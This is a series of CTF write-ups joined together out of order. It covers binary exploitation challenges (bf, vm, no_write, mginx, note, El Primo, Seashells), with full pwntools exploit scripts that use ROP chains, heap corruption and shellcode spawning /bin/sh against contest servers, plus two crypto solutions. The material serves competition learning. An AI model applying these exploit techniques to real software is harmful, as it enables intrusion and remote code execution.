p8(instr["add"])+p8(1)+p8(0)+p64(0x28) # add r0,0x28 code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8) # add r1,0x200 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rsp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 # rcx # 0x00000000000d3d8a: ret; # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; # 0x00000000000439c8: pop rax; ret; # 0x00000000000d2975: syscall; ret; # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret; # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall; ret = 0x00000000000d3d8a p_rdi = 0x00000000000a17e0 p_rdx_rsi = 0x00000000001306d9 p_rax = 0x00000000000439c8 syscall_ret = 0x00000000000d2975 buf = 0x3ec000 payload = [ ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret, p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret, p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f ] code += p8(instr["mov"])+p8(8)+p8(0)+p8(1) # mov r0,r1 for value in payload: if value < 0x100: code += p8(instr["mov"])+p8(1)+p8(1)+p64(value) # mov r1,value code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 else: code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(value) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["alloc"])+p32(0x200) # alloc(0x200) ; trigger free code = push_code(code) p.recvuntil("code: ") p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff') p.recvuntil("code: ") flag += chr(int(p.recv(),16)) info(flag) p.close() # pause() if flag[-1] == '}': break; if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./easy_printf",checksec=False) instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14} main(args['REMOTE'])
```
## no_write
The program only allows us to use open, read, exit and exit_group system calls, no write, so we have to find a way to leak the flag
The first thing is that without the write system call, we can't do the leak, but we can use this gadget to get the libc address we want:
```c.text:00000000004005E8 add [rbp-3Dh], ebx.text:00000000004005EB nop dword ptr [rax+rax+00h]```
rbp and ebx are both controled
We can use the stack pivoting method to migrate the stack to the bss segment, then call `__libc_start_main` , the bss segment will remain libc address after it. Then use the above gadget, we can arbitrary call
The problem now is how to leak the flag, and one way I give here is to use the strncmp function to compare the flag one by one
The specific ideas are as follows
- open and read flag into bss segment first.- read characters we want to brute force into the end of the BSS segment (0x601FFFF)- Then call strncmp(flag,0x601FFFF,2), if we enter the same characters with flag, the program will `segment fault` and we will received an EOFError , because strncmp is trying to read the contents at 0x602000- If the comparison in previous step is incorrect, the program can continue to run
exp:
```pythonfrom pwn import *import stringcontext.arch='amd64'
def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payloaddef main(host,port=2333): # global p # if host: # p = remote(host,port) # else: # p = process("./no_write") # gdb.attach(p,"b* 0x0000000004006E6") # 0x0000000000400773 : pop rdi ; ret # 0x0000000000400771 : pop rsi ; pop r15 ; ret # .text:0000000000400544 call cs:__libc_start_main_ptr # .text:00000000004005E8 add [rbp-3Dh], ebx # .text:00000000004005EB nop dword ptr [rax+rax+00h] # .text:00000000004005F0 rep retn charset = '}{_'+string.digits+string.letters flag = '' for i in range(0x30): for j in charset: try: p = remote(host,6000) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 # 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0 offset = 0x267870 #initial - __strncmp_sse42 readn = 0x0000000004006BF leave_tet = 0x00000000040070B payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload) sleep(0.3) payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload) sleep(0.3) # 0x601318 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # 0x00000000000d2975: syscall; ret; # 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0 offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3) p.send("dd"+"d"*7+j) sleep(0.5) p.recv(timeout=0.5) p.send("A"*0x100) # info(j) p.close() # p.interactive() except EOFError: flag += j info(flag) if(j == '}'): exit() p.close() # pause() breakif __name__ == "__main__": # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) main(args["REMOTE"])
```
## mginx
I find this chllenge can getshell after game, but I release hint2 says can't getshell, I am so sorry about it.
mips64 big endian,not stripped
The logic of the program is not very complicated, it is a simple http server, a stack overflow in the following code:

This sStack4280 variable is the length of our `Content-Length` plus `body length`. If we set `Content-Length` to 4095 and fill in multiple bytes in the body, then sStack4280 will exceed 0x1000 and directly cause stack overflow, here is a poc:
```pythonreq = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req)```
With this stack overflow, we can hijack the return address of the main function, the program has no PIE, and the data segment can be executed, but the remote environment has ASLR, so we have to bypass the ASLR first.
Since we can stack overflow, the first thing that i think is ROP, but this program doesn't have many gadgets that can be used, so ROP is not very good, let's look at the instructions end of main function

we can control ra, s8 and gp,After many attempts, I finally chose to jump here:

we can overwrite the s8 as the address of the data segment, so that we can read our shellcode into data segment, and use the stack overflow in the main function to overwrite the return address as the address of the shellcode :D.
exp:
```python#python exp.py REMOTE=124.156.129.96 DEBUGfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req) # pause() # orw sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c" sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c" sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"
# getshell # sc = "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1) # pause()
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) # pause() payload = "\x00"*0xa88 # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0) payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) flag = p.recvuntil("}",timeout=1) if flag != '' : info(flag) pause() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue ```
get flag!

getshell exp:
```pythonfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") p.send(req) # pause()
# getshell sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40" sc += "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1)
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) payload = "\x00"*0x288 # argv_ 0x0000000120012800 argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0) argv_ += "sh".ljust(8,'\x00') argv_ += "-c".ljust(8,'\x00') argv_ += "/bin/sh".ljust(8,'\x00') payload += argv_ payload += "\x00"*(0x800 - len(argv_)) # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) p.sendline("echo dididididi") _ = p.recvuntil("didid",timeout=1) if _ != '': p.interactive() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue # main(args['REMOTE'])```
## note
Step 1: **get enough money**
The initial value of money is 0x996, size * 857 > money can not be applied, there is an operation of money += size in the delete function, so
The first thing is to modify the value of the money by multiply overflow.
Step 2: **leak libc and heap**
The calloc function allocate an MMAP chunk that does not perform a memset clearing operation, and there is a heap overflow in the super_edit(choice 7) function, modify the MMAP flag bit to 1 via the heap overflow to leak the libc and heap address.
Step 3: **tcache smashing unlink**
Use the off by null in edit function to unlink the chunk, and then use tcache smashing unlink to chain the `__malloc_hook` into tcache , call super_buy(choice 6) function to overwrite `__malloc_hook`, trigger calloc to getshell
exp:
```python#coding:utf-8from pwn import *import hashlibimport sys,string
local = 1
# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'): # context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# libc = ELF('./libc_debug.so',checksec=False)one = [0xe237f,0xe2383,0xe2386,0x106ef8]
if local: p = process('./note_') else: p = remote("124.156.135.103",6004) def debug(addr=0,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) #print "breakpoint_addr --> " + hex(text_base + 0x202040) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)rc = lambda s:p.recv(s)sl = lambda s:p.sendline(s)ru = lambda s:p.recvuntil(s)sda = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)
def info(name,addr): log.info(name + " --> %s",hex(addr))
def add(idx,size): sla("Choice: ",'1') sla("Index: ",str(idx)) sla("Size: ",str(size))
def delete(idx): sla("Choice: ",'2') sla("Index: ",str(idx))
def show(idx): sla("Choice: ",'3') sla("Index: ",str(idx))
def edit(idx,data): sla("Choice: ",'4') sla("Index: ",str(idx)) sla("Message: \n",data)
def super_edit(idx,data): sla("Choice: ",'7') sla("Index: ",str(idx)) sda("Message: \n",data)
def get_money(): sla("Choice: ",'1') sla("Index: ",str(0)) sla("Size: ",'21524788884141834') delete(0)
def super_buy(data): sla("Choice: ",'6') sla("name: \n",data)
# get enough moneyget_money()
# leak heap and libc addressadd(0,0x80)add(1,0x500)add(2,0x80)delete(1)
add(1,0x600) #now 0x510 in largebin
pay = 0x88*b'\x00' + p64(0x510+1+2)super_edit(0,pay) # overwrite is_mmap flag
add(3,0x500)
show(3)rc(8)# libc_base = u64(rc(8)) - 0x1eb010libc_base = u64(rc(8)) - 0x1e50d0heap_base = u64(rc(8)) - 0x320
malloc_hook = libc_base + libc.symbols['__malloc_hook']free_hook = libc_base + libc.symbols['__free_hook']realloc = libc_base + libc.symbols['realloc']onegadget = libc_base + one[3]
# fill tcache 0x90delete(0)delete(1)delete(2)for i in range(5): add(0,0x80) delete(0)# fill tcache 0x60for i in range(5): add(0,0x50) delete(0)
# fill tcache 0x230for i in range(7): add(0,0x220) delete(0)# set a 0x60 to smallbin add(0,0x420)add(1,0x10)delete(0)add(0,0x3c0)add(2,0x60)
# null off by one to unlinktarget = heap_base + 0x2220 #unlink targetpay = b''pay += p64(0)pay += p64(0x231)pay += p64(target - 0x18)pay += p64(target - 0x10)pay += p64(target) #ptradd(4,0x80)edit(4,pay)
add(5,0x80)edit(5,p64(heap_base+0x2190))
add(6,0x80)add(7,0x80)
add(8,0x5f0) # will be freed and consolidate with topchunkdelete(7)pay = 0x80*b'\x00' + p64(0x230)add(7,0x88)edit(7,pay)
delete(8) #unlinkadd(8,0x220)add(9,0x90)delete(8)add(8,0x1c0)add(10,0x60)
pay = b'a'*0x20 + p64(0) + p64(0x61)pay += p64(heap_base + 0x2090)pay += p64(malloc_hook - 0x38)edit(7,pay)info("libc_base",libc_base)info("heap_base",heap_base)
add(11,0x50)pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)super_buy(pay)
add(12,0x70)
p.interactive()```
## cipher
mips64 big endian,not stripped
Understand the logic of the program, write the correct decryption function
The initial value of key comes from the rand() function, you need to brute force the key

exp:
```pythonfrom struct import pack, unpack
def ROR(x,r): return (x>>r)|((x<<(64-r))&0xffffffffffffffff)def ROL(x,r): return (x>>(64-r))|((x<<r)&0xffffffffffffffff)def R(x,y,k): x = ROR(x,8) x = (x+y)&0xffffffffffffffff x^=k y = ROL(y,3) y^=x return x,ydef RI(x,y,k): y^=x y = ROR(y,3) x^=k x = (x-y)&0xffffffffffffffff x = ROL(x,8) return x,y
def encrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] x,y = R(x,y,b) for i in range(31): a,b = R(a,b,i) x,y = R(x,y,b) return y,x
def decrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] keys = [] for i in range(32): keys.append(b) a,b = R(a,b,i) for i in range(32): x,y = RI(x,y,keys[31-i]) return y,x
def solve(): with open('ciphertext', 'rb') as f: ct = f.read().strip() print ct.encode('hex') key = -1 for i in range(65536): t0 = unpack('>Q',ct[:8])[0] t1 = unpack('>Q',ct[8:16])[0] x,y = decrypt([t0,t1],[i<<48,0]) ans = pack('>Q',x)+pack('>Q',y) if ans.startswith('RCTF'): key = i break
assert key!=-1 print key ans = '' for i in range(len(ct)/16): t0 = unpack('>Q',ct[i*16:i*16+8])[0] t1 = unpack('>Q',ct[i*16+8:i*16+16])[0] print hex(t0), hex(t1) x,y = decrypt([t0,t1],[key<<48,0]) ans += pack('>Q',x)+pack('>Q',y) print ans solve()
``` |
> Something about this randomly generated noise doesn't seem right...
We have a script
```pythonfrom Crypto.Util.number import bytes_to_long, getStrongPrimefrom fractions import gcdfrom secret import flagfrom Crypto.Random import get_random_bytes
def encrypt(number): return pow(number,e,N)
def noisy_encrypt(a,m): return encrypt(pow(a,3,N)+(m << 24))
e = 3p = getStrongPrime(512)q = getStrongPrime(512)
while (gcd(e,(p-1)*(q-1)) != 1): p = getStrongPrime(512) q = getStrongPrime(512)
N = p * q
print("N : " + str(N) + "\n")print("e : " + str(e) + "\n")
rand = bytes_to_long(get_random_bytes(64))
ct = []ct.append(encrypt(rand << 24))
for car in flag: ct.append(noisy_encrypt(car,rand))
print(ct)```
and its output
```N : 166340340660877519226247260987065058211371932250499241074633026863387096385721863889904212902371869444274842128829082337552709506851212430322777753756706525557339442213042322434951929492350910439291882068704178535251621706072605607671593003649095340546077718624006859019891494745600258808326203381366558360403
e : 3
[72881243587279652525011668389480886731233379003340815331672052156449010464010693304931728042216088657642642153607136661251184626426811987027166068591298345434705349712743185809458404592395692720660113774009080627872192793713309891346264883115832358507857462312275400764420518834080531059771744334365221989634,120942671498483330060520229769388972851903750065221974908980408800142585447054246279988215440838619341480941425987900671088263735178370517975791870374867924130327757712683134115691371457608477285865042459315287349798635279186783640977356463108475695769654664032379733434805748471608372219467852099247995100354, ...]```
There is a standard RSA encryption (with 1024 bit N and e=3) happening and some *noisy encryption* which mixes a 512 bit random number into the process. Or, to be precise, if `r` is that random number than
r' = r<<24 = r*2^24 is used.
We have the encryption of the flag's letters, character by character.
The noisy encryption works as follows:
First, the letter `a` is encrypted with normal RSA to
c = a^3 mod N Then a second step follows to produce the output l (which we know from the list)
l = (c + r')^3 = c^3 + 3*c^2*r' + 3*c*r'^2 + r'^3 (all operations done modulo N). We know l and c for the first 7 ciphertexts (flag starts with `shkCTF{`). We also know `r'^3 mod N`, which is the first item in our list.
If we can calculate `r'`, we can simply encrypt all letters and reproduce the flag.
To get `r` we can do the following:
Build two of those equations above using the first two ciphertexts and our knowledge of `r'^3`. Treating the exponents of `r'` as independent variables we have a system of two linear modular equations in two variables which is solvable.
The following sage script can extract `r'`:
```N=1663403406608775192262472609870650582113719322504992410746330268633870963857218638899042129023718694442748421288290823375527095068512124303227777537567065255573394422130423224349519\29492350910439291882068704178535251621706072605607671593003649095340546077718624006859019891494745600258808326203381366558360403e=3R = 72881243587279652525011668389480886731233379003340815331672052156449010464010693304931728042216088657642642153607136661251184626426811987027166068591298345434705349712743185809458\404592395692720660113774009080627872192793713309891346264883115832358507857462312275400764420518834080531059771744334365221989634l1 = 1209426714984833300605202297693889728519037500652219749089804088001425854470542462799882154408386193414809414259879006710882637351783705179757918703748679241303277577126831341156\91371457608477285865042459315287349798635279186783640977356463108475695769654664032379733434805748471608372219467852099247995100354l2 = 5438672189546541565638095795090454973655647973802164622137861080471631141548748989051132531613614779730529847214191292711998177290923856962201124553373128198319134604628485939479\0231772028252518442679512839637492607553340532809710322773811504243675887595893870027501332275699811129878490987811760210612933716
F = Zmod(N)
p1 = ord('s')p2 = ord('h')c1 = F(power_mod(p1, e, N))c2 = F(power_mod(p2, e, N))
d1 = F(l1 - c1^3 - R)k11 = F(3*c1^2)k21 = F(3*c1)
d2 = F(l2 - c2^3 - R)k12 = F(3*c2^2)k22 = F(3*c2)
# k11*r + k21*r^2 == d1# k12*r + k22*r^2 == d2# ----------------------# (k11*k22-k12*k21)*r == (d1*k22 - d2*k21)
a = k11*k22-k12*k21b = d1*k22 - d2*k21# a*r == br = b*a^(-1)print(r)#Sanity checkassert(k21*r^2+k11*r == d1)assert(k22*r^2+k12*r == d2)```
The value of `r'` is `16042760712376809922314266333387918695978347235657595682174901751357624863232775176277935114355575868431675512690546248845338838324374751844663435260133606686720`.
Now we just need to reconstruct the flag:
```pythonfrom data import ciphertexts
r = 16042760712376809922314266333387918695978347235657595682174901751357624863232775176277935114355575868431675512690546248845338838324374751844663435260133606686720
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-_#0123456789"
N=1663403406608775192262472609870650582113719322504992410746330268633870963857218638899042129023718694442748421288290823375527095068512124303227777537567065255573394422130423224349519\29492350910439291882068704178535251621706072605607671593003649095340546077718624006859019891494745600258808326203381366558360403e=3
def encrypt(number): return pow(number,e,N)
def noisy_encrypt(a): return encrypt(pow(a,3,N)+r)
# Sanity check assert(noisy_encrypt(ord('s')) == ciphertexts[0])assert(noisy_encrypt(ord('h')) == ciphertexts[1])
# Build a dictionary of all ciphertexts ctpt = {}for char in chars: ct = noisy_encrypt(ord(char)) ctpt[ct] = char
# Reconstruct the flag from the knows plaintext/ciphertext pairs flag = ''for ct in ciphertexts: if(ct in ctpt): flag += ctpt[ct] else: flag += "#"
print(flag)```
(data.py just contains the array with the ciphertexts) Flag: **shkCTF{L0NG_LIV3_N0ISY_RS4_b86040a760e25740477a498855be3c33}** |
# El Primo
> My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?>> nc p1.tjctf.org 8011
## Description
Let's decompile the binary with Ghidra.
```cundefined4 main(void){ char local_30 [32]; undefined *local_10; local_10 = &stack0x00000004; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("What\'s my hard counter?"); printf("hint: %p\n",local_30); gets(local_30); return 0;}```
We get a possible buffer overflow with the `gets` function, and the `printf` leaks the address of the buffer. We check the security of the binary, and surprisingly, NX is disabled.
## Solution
As NX is disabled, we can include a shellcode in the buffer and jump there. The only thing that I had to do in addition was to preserve the value of `ebp` on the stack (otherwise I had a segfault when leaving the function), but then its value is known once we know the address of the buffer.
```pythonfrom pwn import *
sh = remote('p1.tjctf.org', 8011)
shellcode = asm(shellcraft.i386.linux.execve('/bin/sh'))print(len(shellcode))
print(sh.recvuntil("hint: ").decode())addr = sh.recvline().decode()buf_addr = int(addr, 16)print(hex(buf_addr))print(addr)
ebp_value = buf_addr + 0x40
payload = shellcode + b"\x00"*(32-len(shellcode)) + p32(ebp_value) + b'a'*24 + p32(buf_addr)
sh.sendline(payload)sh.interactive()```
Flag: `tjctf{3L_PR1M0O0OOO!1!!}` |
# Seashells
> I heard there's someone selling shells? They seem to be out of stock though...> > nc p1.tjctf.org 8009
Attached is a binary.
## Description
First we use `checksec` to see which security features are enabled. There is no PIE, nor canary, so exploit will probably be easy. Let's decompile the code using Ghidra.
```cundefined8 main(void){ int iVar1; char local_12 [10]; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to Sally\'s Seashore Shell Shop"); puts("Would you like a shell?"); gets(local_12); iVar1 = strcasecmp(local_12,"yes"); if (iVar1 == 0) { puts("sorry, we are out of stock"); } else { puts("why are you even here?"); } return 0;}```
So here is our buffer overflow: it only uses the `gets` function which performs no boundary check.
Moreover, we see a function `shell`:
```c
void shell(long param_1)
{ if (param_1 == -0x2152350145414111) { system("/bin/sh"); } return;}```
Easily enough, we have the call to system. No PIE means we can know the address of `shell` on the server, so the exploit is quite straightforward.
## Solution
With `gdb` we retrieve the address of the instructions corresponding to `system("/bin/sh");` (we bypass the if statement), overflow the buffer and jump there.
To find the offset, we also use gdb, filling the buffer with a cyclic pattern and verify where we jump.
```pythonfrom pwn import *
sh = remote("p1.tjctf.org", 8009)
shell_addr = 0x00000000004006e3offset = 18
sh.recvuntil("hell?")payload = b'a'*offset + p64(shell_addr) + b'\x00'sh.sendline(payload)
sh.interactive()```
Flag: `tjctf{she_s3lls_se4_sh3ll5}`
|
include pwn challenge bf, vm, no_write, note,mginx and re challenge cipher
## bf
A brain fuck interpreter written by c++, the structure that program used :
```cppstruct brain_fck{ char data[0x400]; // data string code; // brain fuck code};```
`'>'` op caused `off_by_one` :

The compare condition is `v21 > &v25` not `>=`,so we can read or modify the brain_fck.code's lowbit.
`brain_fck.code` is a string,string class almost look like(Of course, I omitted most of the class ):
```cppclass string{ char* ptr; size_t len; char buf[0x10];}```
string class will put the characters in the buf when string.length() less then 16,it means ptr pointer to itself 's buf; And it will use malloc when the string length large or equal 16.
As we can modify the brain_fck.code's lowbit,it means we can modify brain_fck.code.ptr to arbitrary write and read.
Because the brain_fck.code is in stack in the first, we just make sure that the brain fuck code we input length less then 16 to make the brain_fck.code.ptr point to stack memory instead of heap.
So a basic exploit as follows:
- leak brain_fck.code.ptr's lowbit- leak stack and libc address- modify ret value of main function- hijack it with ROP
exp:
```pythonfrom pwn import *import sys
context.arch = 'amd64'
def write_low_bit(low_bit,offset): p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+offset)) p.recvuntil("your code: ") p.recvuntil("continue?\n") p.send('y') p.recvuntil("enter your code:\n") p.sendline("\x00"*0xf) p.recvuntil("continue?\n") p.send('y')
def main(host,port=6002): global p if host: p = remote(host,port) else: p = process("./bf") # gdb.attach(p) # leak low_bit p.recvuntil("enter your code:\n") p.sendline(",[.>,]>.") p.send("B"*0x3ff+'\x00') p.recvuntil("running....\n") p.recvuntil("B"*0x3ff) low_bit = ord(p.recv(1)) info(hex(low_bit)) if low_bit + 0x70 >= 0x100: # :( sys.exit(0) # debug(0x000000000001C47) p.recvuntil("continue?\n") p.send('y') # leak stack p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x20)) p.recvuntil("your code: ") stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n") p.send('y') # leak libc p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x38)) p.recvuntil("your code: ") libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n") p.send('y') # do rop # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; p_rdi = 0x00000000000a17e0 + libc.address p_rdx_rsi = 0x00000000001306d9 + libc.address ret = 0x00000000000d3d8a + libc.address p_rax = 0x00000000000439c8 + libc.address syscall_ret = 0x00000000000d2975 + libc.address rop_chain = [ 0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1,0,-1): write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i)) p.recvuntil("enter your code:\n") p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6]) p.recvuntil("continue?\n") p.send('y') write_low_bit(low_bit,0) p.recvuntil("enter your code:\n") p.sendline('') p.recvuntil("continue?\n") p.send('n') payload = "/flag".ljust(0x30,'\x00') payload += flat([ p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret, p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret, p_rax,1,p_rdi,1,syscall_ret ]) p.send(payload.ljust(0x100,'\x00')) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./bf",checksec=False) main(args['REMOTE'])
```
## vm
read the flag and use exit code to leak it one by one.
vm structure:
```cpptypedef struct{ uint64_t r0; uint64_t r1; uint64_t r2; uint64_t r3; uint64_t r4; uint64_t r5; uint64_t r6; uint64_t r7; uint64_t* rsp; uint64_t* rbp; uint8_t* pc; uint32_t stack_size; uint32_t stack_cap;}vm;```
vm instruction:
```cppenum{ OP_ADD = 0, //add OP_SUB, //sub OP_MUL, //mul OP_DIV, //div OP_MOV, //mov OP_JSR, //jump register OP_AND, //bitwise and OP_XOR, //bitwise xor OP_OR, //bitwise or OP_NOT, //bitwise not OP_PUSH, //push OP_POP, //pop OP_JMP, //jump OP_ALLOC, //alloc new stack OP_NOP, //nop};```
The program first reads an instruction of 0x1000 length, then checks whether the instruction is legal or not, and passes the number of instructions together to the run_vm function, and run_vm function start to execute the instruction.
There are no check with JMP and JSR instruction in the check_instruction function,and look at the init_vm function:

vm->stack is allocated after vm->pc,it means vm->stack at high address,so we can push the instruction into stack first and jmp to stack to run the instruction that not be checked. Now we can use MOV instruction to arbitrary read and write.
So a basic exploit as follows:
- push the instruction into stack and jmp to stack to run it- Reduce the size of the chunk where the vm->stack is located so that it doesn't merge with top_chunk after free, and we can use the remaining libc address on the heap- Use ADD,SUB and MOV instruction to arbitrary write,modify `__free_hook` to `setcontext+53` - trigger free to hijack it
exp:
```pythonfrom pwn import *
context.arch="amd64"
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
